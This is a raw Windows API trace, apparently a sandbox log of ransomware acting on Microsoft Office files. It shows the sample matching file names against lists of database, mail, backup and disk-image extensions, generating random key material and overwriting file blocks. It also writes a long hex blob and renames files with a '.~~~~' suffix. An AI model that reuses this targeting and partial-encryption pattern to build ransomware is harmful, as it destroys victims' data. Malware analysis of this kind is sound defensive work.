	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".PST") returned 0x0
	[0079.770] lstrlenW (lpString=".dbf") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".dbf") returned 0x0
	[0079.770] lstrlenW (lpString=".SQL") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".SQL") returned 0x0
	[0079.770] lstrlenW (lpString=".pst") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".pst") returned 0x0
	[0079.770] lstrlenW (lpString=".dbv") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".dbv") returned 0x0
	[0079.770] lstrlenW (lpString=".SDF") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".SDF") returned 0x0
	[0079.770] lstrlenW (lpString=".dtxs") returned 5
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".dtxs") returned 0x0
	[0079.770] lstrlenW (lpString=".db3") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".db3") returned 0x0
	[0079.770] lstrlenW (lpString=".OST") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".OST") returned 0x0
	[0079.770] lstrlenW (lpString=".dbx") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".dbx") returned 0x0
	[0079.770] lstrlenW (lpString=".DB3") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DB3") returned 0x0
	[0079.770] lstrlenW (lpString=".DAT") returned 4
	[0079.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DAT") returned 0x0
	[0079.770] lstrlenW (lpString=".VHDX") returned 5
	[0079.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".VHDX") returned 0x0
	[0079.771] lstrlenW (lpString=".ndf") returned 4
	[0079.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".ndf") returned 0x0
	[0079.771] lstrlenW (lpString=".DB") returned 3
	[0079.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DB") returned 0x0
	[0079.771] lstrlenW (lpString=".sql") returned 4
	[0079.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".sql") returned 0x0
	[0079.771] lstrlenW (lpString=".MYD") returned 4
	[0079.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".MYD") returned 0x0
	[0079.771] lstrlenW (lpString=".DBT") returned 4
	[0079.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DBT") returned 0x0
	[0079.771] lstrlenW (lpString=".ACCDB") returned 6
	[0079.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.797] lstrlenW (lpString=".fdb") returned 4
	[0079.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".fdb") returned 0x0
	[0079.797] lstrlenW (lpString=".bak") returned 4
	[0079.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".bak") returned 0x0
	[0079.797] lstrlenW (lpString=".myd") returned 4
	[0079.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".myd") returned 0x0
	[0079.797] lstrlenW (lpString=".DTXS") returned 5
	[0079.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DTXS") returned 0x0
	[0079.797] lstrlenW (lpString=".ckp") returned 4
	[0079.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".ckp") returned 0x0
	[0079.797] lstrlenW (lpString=".dbt") returned 4
	[0079.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".dbt") returned 0x0
	[0079.797] lstrlenW (lpString=".db") returned 3
	[0079.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".db") returned 0x0
	[0079.797] lstrlenW (lpString=".TXT") returned 4
	[0079.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".TXT") returned 0x0
	[0079.797] lstrlenW (lpString=".MDF") returned 4
	[0079.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".MDF") returned 0x0
	[0079.798] lstrlenW (lpString=".bdb") returned 4
	[0079.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".bdb") returned 0x0
	[0079.798] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0079.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.798] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0079.799] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.799] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0079.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0079.799] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19978921676) returned 1
	[0079.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x996c1770, dwHighDateTime=0x1d60e1e)) 
	[0079.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0079.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0079.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0079.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b900
	[0079.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b900 | out: hHeap=0x300000) returned 1
	[0079.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0079.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb700
	[0079.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0079.800] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0079.800] GetLastError () returned 0x0
	[0079.800] GetLastError () returned 0x0
	[0079.800] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0079.800] GetLastError () returned 0x0
	[0079.800] GetLastError () returned 0x0
	[0079.801] ReadFile (in: hFile=0x120, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.874] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.874] WriteFile (in: hFile=0x120, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0079.875] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.875] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.920] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.920] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.920] CloseHandle (hObject=0x120) returned 1
	[0080.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.003] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.~~~~")) returned 1
	[0080.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0080.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0080.128] GetLastError () returned 0x0
	[0080.128] RtlWakeConditionVariable () returned 0x365f70
	[0080.128] GetCurrentThreadId () returned 0x3a4
	[0080.128] GetCurrentThreadId () returned 0x3a4
	[0080.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b71e0 | out: hHeap=0x300000) returned 1
	[0080.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280ba50 | out: hHeap=0x300000) returned 1
	[0080.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b71e0
	[0080.128] lstrlenW (lpString=".scr") returned 4
	[0080.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".scr") returned 0x0
	[0080.129] lstrlenW (lpString=".cmd") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".cmd") returned 0x0
	[0080.129] lstrlenW (lpString=".dll") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".dll") returned 0x0
	[0080.129] lstrlenW (lpString=".bat") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".bat") returned 0x0
	[0080.129] lstrlenW (lpString=".cpl") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".cpl") returned 0x0
	[0080.129] lstrlenW (lpString=".sys") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".sys") returned 0x0
	[0080.129] lstrlenW (lpString=".msc") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".msc") returned 0x0
	[0080.129] lstrlenW (lpString=".com") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".com") returned 0x0
	[0080.129] lstrlenW (lpString=".lnk") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".lnk") returned 0x0
	[0080.129] lstrlenW (lpString=".msp") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".msp") returned 0x0
	[0080.129] lstrlenW (lpString=".pif") returned 4
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".pif") returned 0x0
	[0080.129] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0080.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0080.149] lstrlenW (lpString=".sqb") returned 4
	[0080.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".sqb") returned 0x0
	[0080.149] lstrlenW (lpString=".ost") returned 4
	[0080.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".ost") returned 0x0
	[0080.149] lstrlenW (lpString=".txt") returned 4
	[0080.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".txt") returned 0x0
	[0080.149] lstrlenW (lpString=".mdt") returned 4
	[0080.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".mdt") returned 0x0
	[0080.149] lstrlenW (lpString=".BDB") returned 4
	[0080.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".BDB") returned 0x0
	[0080.149] lstrlenW (lpString=".eql") returned 4
	[0080.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".eql") returned 0x0
	[0080.149] lstrlenW (lpString=".DBF") returned 4
	[0080.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DBF") returned 0x0
	[0080.150] lstrlenW (lpString=".EQL") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".EQL") returned 0x0
	[0080.150] lstrlenW (lpString=".FDB") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".FDB") returned 0x0
	[0080.150] lstrlenW (lpString=".EDB") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".EDB") returned 0x0
	[0080.150] lstrlenW (lpString=".DACPAC") returned 7
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DACPAC") returned 0x0
	[0080.150] lstrlenW (lpString=".VHD") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".VHD") returned 0x0
	[0080.150] lstrlenW (lpString=".DBV") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DBV") returned 0x0
	[0080.150] lstrlenW (lpString=".dacpac") returned 7
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".dacpac") returned 0x0
	[0080.150] lstrlenW (lpString=".sdf") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".sdf") returned 0x0
	[0080.150] lstrlenW (lpString=".accdb") returned 6
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".accdb") returned 0x0
	[0080.150] lstrlenW (lpString=".DBX") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DBX") returned 0x0
	[0080.150] lstrlenW (lpString=".MDT") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".MDT") returned 0x0
	[0080.150] lstrlenW (lpString=".SQB") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".SQB") returned 0x0
	[0080.150] lstrlenW (lpString=".vhd") returned 4
	[0080.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".vhd") returned 0x0
	[0080.151] lstrlenW (lpString=".bac") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".bac") returned 0x0
	[0080.151] lstrlenW (lpString=".mdf") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".mdf") returned 0x0
	[0080.151] lstrlenW (lpString=".BAK") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".BAK") returned 0x0
	[0080.151] lstrlenW (lpString=".BAC") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".BAC") returned 0x0
	[0080.151] lstrlenW (lpString=".dbs") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".dbs") returned 0x0
	[0080.151] lstrlenW (lpString=".vhdx") returned 5
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".vhdx") returned 0x0
	[0080.151] lstrlenW (lpString=".NDF") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".NDF") returned 0x0
	[0080.151] lstrlenW (lpString=".dat") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".dat") returned 0x0
	[0080.151] lstrlenW (lpString=".DBS") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DBS") returned 0x0
	[0080.151] lstrlenW (lpString=".CKP") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".CKP") returned 0x0
	[0080.151] lstrlenW (lpString=".edb") returned 4
	[0080.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".edb") returned 0x0
	[0080.152] lstrlenW (lpString=".PST") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".PST") returned 0x0
	[0080.152] lstrlenW (lpString=".dbf") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".dbf") returned 0x0
	[0080.152] lstrlenW (lpString=".SQL") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".SQL") returned 0x0
	[0080.152] lstrlenW (lpString=".pst") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".pst") returned 0x0
	[0080.152] lstrlenW (lpString=".dbv") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".dbv") returned 0x0
	[0080.152] lstrlenW (lpString=".SDF") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".SDF") returned 0x0
	[0080.152] lstrlenW (lpString=".dtxs") returned 5
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".dtxs") returned 0x0
	[0080.152] lstrlenW (lpString=".db3") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".db3") returned 0x0
	[0080.152] lstrlenW (lpString=".OST") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".OST") returned 0x0
	[0080.152] lstrlenW (lpString=".dbx") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".dbx") returned 0x0
	[0080.152] lstrlenW (lpString=".DB3") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DB3") returned 0x0
	[0080.152] lstrlenW (lpString=".DAT") returned 4
	[0080.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DAT") returned 0x0
	[0080.152] lstrlenW (lpString=".VHDX") returned 5
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".VHDX") returned 0x0
	[0080.153] lstrlenW (lpString=".ndf") returned 4
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".ndf") returned 0x0
	[0080.153] lstrlenW (lpString=".DB") returned 3
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DB") returned 0x0
	[0080.153] lstrlenW (lpString=".sql") returned 4
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".sql") returned 0x0
	[0080.153] lstrlenW (lpString=".MYD") returned 4
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".MYD") returned 0x0
	[0080.153] lstrlenW (lpString=".DBT") returned 4
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DBT") returned 0x0
	[0080.153] lstrlenW (lpString=".ACCDB") returned 6
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".ACCDB") returned 0x0
	[0080.153] lstrlenW (lpString=".fdb") returned 4
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".fdb") returned 0x0
	[0080.153] lstrlenW (lpString=".bak") returned 4
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".bak") returned 0x0
	[0080.153] lstrlenW (lpString=".myd") returned 4
